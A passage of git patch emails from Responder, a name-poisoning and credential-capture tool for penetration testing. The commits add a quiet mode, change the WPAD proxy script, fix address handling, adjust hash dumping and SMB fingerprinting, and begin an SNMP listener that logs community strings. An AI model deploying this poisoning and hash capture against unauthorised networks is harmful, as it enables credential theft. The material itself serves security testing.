os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(cert, key) + if data[11:12] == b'\x01': x = X224(Data=RDPNEGOAnswer()) x.calculate() @@ -105,7 +110,7 @@ class RDP(BaseRequestHandler): h.calculate() buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True) + SSLsock = context.wrap_socket(self.request, server_side=True) SSLsock.settimeout(30) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': @@ -125,8 +130,7 @@ class RDP(BaseRequestHandler): buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(8092) - - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) + SSLsock = context.wrap_socket(self.request, server_side=True) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) diff --git a/servers/RPC.py b/servers/RPC.py index 5c60c5d..ce931f5 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #LSARPC @@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #WINSPOOL @@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #NetLogon diff --git a/servers/SMB.py b/servers/SMB.py index 20d4391..ff90aac 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -206,7 +206,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP self.request.send(Buffer) data = self.request.recv(1024) except: - raise pass ##Negotiate proto answer SMBv2. diff --git a/servers/WinRM.py b/servers/WinRM.py index a205b34..25305f1 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -127,12 +127,12 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print(text("[WinRM] Sending BASIC authentication request to %s" % client)) + print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print(text("[WinRM] Sending NTLM authentication request to %s" % client)) + print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) return Response diff --git a/settings.py b/settings.py index 095f5b5..59e7216 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.1.0' +__version__ = 'Responder 3.1.3.0' class Settings: diff --git a/utils.py b/utils.py index ec38a54..ec22db6 100755 --- a/utils.py +++ b/utils.py @@ -317,7 +317,7 @@ def SaveToDb(result): for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: if not k in result: result[k] = '' - + result['client'] = result['client'].replace("::ffff:","") if len(result['user']) < 2: print(color('[*] Skipping one character username: %s' % result['user'], 3, 1)) text("[*] Skipping one character username: %s" % result['user']) @@ -393,7 +393,7 @@ def SavePoisonersToDb(result): for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]: if not k in result: result[k] = '' - + result['SentToIp'] = result['SentToIp'].replace("::ffff:","") cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode'])) @@ -476,6 +476,10 @@ def banner(): print(banner) print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) print('') + print(" To support this project:") + print(" Patreon -> https://www.patreon.com/PythonResponder") + print(" Paypal -> https://paypal.me/PythonResponder") + print('') print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") print(" To kill this script hit CTRL-C") print('') From 2cd66a9b92aa6ca2b7fba0fea03b0a285c186683 Mon Sep 17 00:00:00 2001 From: jb Date: Fri, 29 Jul 2022 18:24:03 +0100 Subject: [PATCH 028/114] Added Quiet mode --- Responder.py | 4 ++++ poisoners/DHCP.py | 6 +++--- poisoners/LLMNR.py | 14 ++++++++------ poisoners/MDNS.py | 6 ++++-- poisoners/NBTNS.py | 5 +++-- settings.py | 7 ++++--- 6 files changed, 26 insertions(+), 16 deletions(-) diff --git a/Responder.py b/Responder.py index 34caa30..aeab473 100755 --- a/Responder.py +++ b/Responder.py @@ -40,6 +40,7 @@ parser.add_option('-u','--upstream-proxy', action="store", help="Upstream H parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) +parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) @@ -370,6 +371,9 @@ def main(): if settings.Config.AnalyzeMode: print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) + if settings.Config.Quiet_Mode: + print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1)) + if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 599812c..a0e1713 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -256,8 +256,8 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS): RequestIP = data[245:249] if DHCPClient.count(MacAddrStr) >= 4: - return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr - + return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr + if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer ROUTERIP = ClientIP return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) @@ -346,5 +346,5 @@ def DHCP(DHCP_DNS): if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) - if ret: + if ret and not settings.Config.Quiet_Mode: print(text("[*] [DHCP] %s" % ret)) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..3b2e13a 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -37,7 +37,7 @@ def IsICMPRedirectPlausible(IP): for line in file: ip = line.split() if len(ip) < 2: - continue + continue elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: @@ -76,21 +76,23 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', }) - + elif LLMNRType == 'IPv6': Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..4d8338e 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,8 @@ class MDNS(BaseRequestHandler): Buffer = MDNS_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -86,7 +87,8 @@ class MDNS(BaseRequestHandler): Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..398eb1f 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -47,8 +47,9 @@ class NBTNS(BaseRequestHandler): Buffer1 = NBT_Ans() Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [NBT-NS]" + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], diff --git a/settings.py b/settings.py index 59e7216..482eb5f 100755 --- a/settings.py +++ b/settings.py @@ -96,8 +96,8 @@ class Settings: self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) - self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) - self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) + self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) + self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) # Db File @@ -133,9 +133,10 @@ class Settings: self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 + self.Quiet_Mode = options.Quiet if self.Interface == "ALL": - self.Bind_To_ALL = True + self.Bind_To_ALL = True else: self.Bind_To_ALL = False #IPV4 From 2765ef4e668bc3493924aae5032e3ec63078ac42 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 18:51:57 -0300 Subject: [PATCH 029/114] fixed the RespondTo/DontRespondTo issue --- poisoners/LLMNR.py | 4 ++-- poisoners/MDNS.py | 2 +- poisoners/NBTNS.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..8ef4a02 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -58,7 +58,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None #IPv4 if data[2:4] == b'\x00\x00' and LLMNRType: @@ -99,4 +99,4 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) except: - raise + pass diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..5b9edb8 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -57,7 +57,7 @@ class MDNS(BaseRequestHandler): MDNSType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): + if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..77b9059 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -31,7 +31,7 @@ class NBTNS(BaseRequestHandler): data, socket = self.request Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None if data[2:4] == b'\x01\x10': From 0bc226b4beaa84eb3ac26f5d563959ccf567262b Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 20:27:56 -0300 Subject: [PATCH 030/114] Added: append .local TLD to DontRespondToNames + MDNS bug fix --- poisoners/MDNS.py | 4 ++-- settings.py | 6 ++++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 5b9edb8..c0d68e2 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -32,14 +32,14 @@ def Parse_MDNS_Name(data): NameLen_ = data[1+NameLen] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] FinalName = Name+b'.'+Name_ - return FinalName.decode("latin-1") + return FinalName.decode("latin-1").replace("\x05","") else: data = NetworkRecvBufferPython2or3(data[12:]) NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + return Name+'.'+Name_.replace("\x05","") except IndexError: return None diff --git a/settings.py b/settings.py index 59e7216..d21600e 100755 --- a/settings.py +++ b/settings.py @@ -220,8 +220,10 @@ class Settings: self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) - self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) - + self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) + #add a .local to all provided DontRespondToName + self.MDNSTLD = ['.LOCAL'] + self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD] #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) From 56c3832a3c967084e0b104787a72a9b08d17e0b6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 21:21:53 -0300 Subject: [PATCH 031/114] Create FUNDING.yml --- .github/FUNDING.yml | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..25f74ef --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +github: lgandx +patreon: PythonResponder +custom: 'https://paypal.me/PythonResponder' From 00d9d27089d8f02658b08f596d28d1722c276d57 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 21:49:48 -0300 Subject: [PATCH 032/114] added requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..7cba2cd --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +netifaces==0.10.4 From c51251db5ff311743238b1675d52edb7c6849f00 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Aug 2022 00:26:11 -0300 Subject: [PATCH 033/114] Fixed potential disruption on Proxy-Auth --- servers/Proxy_Auth.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 23db3f8..8bb6c13 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge): GrabUserAgent(data) GrabCookie(data) GrabHost(data) - Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... - Buffer.calculate() - return Buffer + #Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... + #Buffer.calculate() + #Return a TCP RST, so the client uses direct connection and avoids disruption. + return RST else: return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... From 07dbcf5d6d2f56c9b578f887bded9c89e8cf56d8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Aug 2022 02:49:28 -0300 Subject: [PATCH 034/114] Modified wpad script --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index ab6d3eb..bae810a 100755 --- a/settings.py +++ b/settings.py @@ -204,7 +204,7 @@ class Settings: self.HtmlToInject = "Loading" if len(self.WPAD_Script) == 0: - self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): From b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 16 Sep 2022 09:36:51 -0300 Subject: [PATCH 035/114] Added dump by legacy protocols --- Report.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/Report.py b/Report.py index 1e8640a..a05e6e7 100755 --- a/Report.py +++ b/Report.py @@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor): for row in res.fetchall(): print('{0}'.format(row[0])) +def GetUniqueLookupsIP(cursor): + res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)") + for row in res.fetchall(): + if 'fe80::' in row[1]: + pass + else: + print('Protocol: {0}, IP: {1}'.format(row[0], row[1])) + def GetUniqueLookups(cursor): res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") for row in res.fetchall(): @@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1)) print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) GetUniqueDHCP(cursor) +print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1)) +GetUniqueLookupsIP(cursor) print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor) From 4321919c9f59341377ab748d0e1800a3422c867a Mon Sep 17 00:00:00 2001 From: klemou Date: Sat, 1 Oct 2022 09:26:32 +0200 Subject: [PATCH 036/114] run smbv1 scan in runfinger --- tools/RunFinger.py | 380 ++++++++++++++++++++++++--------------------- 1 file changed, 199 insertions(+), 181 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 7a9cd5f..869928f 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -32,6 +32,7 @@ parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) +parser.add_option('-o','--outfile', action="store", help="Output file", dest="OutFilename", metavar="output.txt", default=None) parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) options, args = parser.parse_args() @@ -44,6 +45,7 @@ if options.TARGET == None and options.Filename == None: Timeout = options.Timeout Host = options.TARGET Filename = options.Filename +Outputfile = None if options.OutFilename==None else open(options.OutFilename,"w") SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" @@ -69,10 +71,10 @@ else: if not os.path.exists(DB): - cursor = sqlite3.connect(DB) - cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') - cursor.commit() - cursor.close() + cursor = sqlite3.connect(DB) + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') + cursor.commit() + cursor.close() def StructWithLenPython2or3(endian,data): #Python2... @@ -99,104 +101,107 @@ def longueur(payload): return length def ParseNegotiateSMB2Ans(data): - if data[4:8] == b"\xfeSMB": - return True - else: - return False + if data[4:8] == b"\xfeSMB": + return True + else: + return False def SMB2SigningMandatory(data): - global SMB2signing - if data[70] == "\x03": - SMB2signing = "True" - else: - SMB2signing = "False" + global SMB2signing + if data[70] == "\x03": + SMB2signing = "True" + else: + SMB2signing = "False" def WorkstationFingerPrint(data): - return { - b"\x04\x00" :"Windows 95", - b"\x04\x0A" :"Windows 98", - b"\x04\x5A" :"Windows ME", - b"\x05\x00" :"Windows 2000", - b"\x05\x01" :"Windows XP", - b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", - b"\x06\x00" :"Windows Vista/Server 2008", - b"\x06\x01" :"Windows 7/Server 2008R2", - b"\x06\x02" :"Windows 8/Server 2012", - b"\x06\x03" :"Windows 8.1/Server 2012R2", - b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", - }.get(data, 'Other than Microsoft') + return { + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + }.get(data, 'Other than Microsoft') def GetOsBuildNumber(data): - ProductBuild = struct.unpack(" Date: Wed, 19 Oct 2022 08:44:05 -0300 Subject: [PATCH 037/114] Removed machine accounts dump, since they are not crackable --- DumpHash.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/DumpHash.py b/DumpHash.py index 0e383d7..6ce39db 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor): res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") Output = "" for row in res.fetchall(): - Output += '{0}'.format(row[0])+'\n' + if "$" in row[0]: + pass + else: + Output += '{0}'.format(row[0])+'\n' return Output def GetResponderCompleteNTLMv1Hash(cursor): res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)") Output = "" for row in res.fetchall(): - Output += '{0}'.format(row[0])+'\n' + if "$" in row[0]: + pass + else: + Output += '{0}'.format(row[0])+'\n' return Output cursor = DbConnect() From 709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8 Mon Sep 17 00:00:00 2001 From: requin Date: Mon, 31 Oct 2022 17:31:16 +0100 Subject: [PATCH 038/114] add hostname on smbv2 scan result --- tools/RunFinger.py | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 869928f..d0a6474 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -104,7 +104,7 @@ def ParseNegotiateSMB2Ans(data): if data[4:8] == b"\xfeSMB": return True else: - return False + return False def SMB2SigningMandatory(data): global SMB2signing @@ -130,8 +130,8 @@ def WorkstationFingerPrint(data): def GetOsBuildNumber(data): ProductBuild = struct.unpack(" Date: Wed, 2 Nov 2022 19:16:10 +0100 Subject: [PATCH 039/114] add flag (-s) to enable smbv1scan --- tools/RunFinger.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index d0a6474..8190286 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -34,6 +34,7 @@ parser.add_option('-i','--ip', action="store", help="Target IP address or class parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) parser.add_option('-o','--outfile', action="store", help="Output file", dest="OutFilename", metavar="output.txt", default=None) parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) +parser.add_option('-s','--smbv1', action='store_true', help="Enable smbv1 scan", dest="Smbv1", default=False) options, args = parser.parse_args() @@ -49,6 +50,7 @@ Outputfile = None if options.OutFilename==None else open(options.OutFilename,"w" SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" +SCAN_SMBV1 = options.Smbv1 class Packet(): fields = OrderedDict([ @@ -406,7 +408,7 @@ def handle(data, host): ################## def ShowSmallResults(Host): ConnectAndChoseSMB((Host,445)) - if SMB1 == "True": + if SCAN_SMBV1 and SMB1 == "True": try: Hostname, DomainJoined = DomainGrab((Host, 445)) Signing, OsVer, LanManClient = SmbFinger((Host, 445)) From 9d4f919b391200247f342dce50eb48921f13a545 Mon Sep 17 00:00:00 2001 From: Stephen Shkardoon Date: Sun, 6 Nov 2022 01:27:28 +1300 Subject: [PATCH 040/114] Implement a basic SNMP listener All community strings are logged as they are sent to the server. This initial implementation only supports SNMPv1 and SNMPv2c. `pyasn1` is required for this server to function. --- Responder.conf | 1 + Responder.py | 4 ++++ servers/SNMP.py | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 2 ++ utils.py | 1 + 5 files changed, 58 insertions(+) create mode 100755 servers/SNMP.py diff --git a/Responder.conf b/Responder.conf index 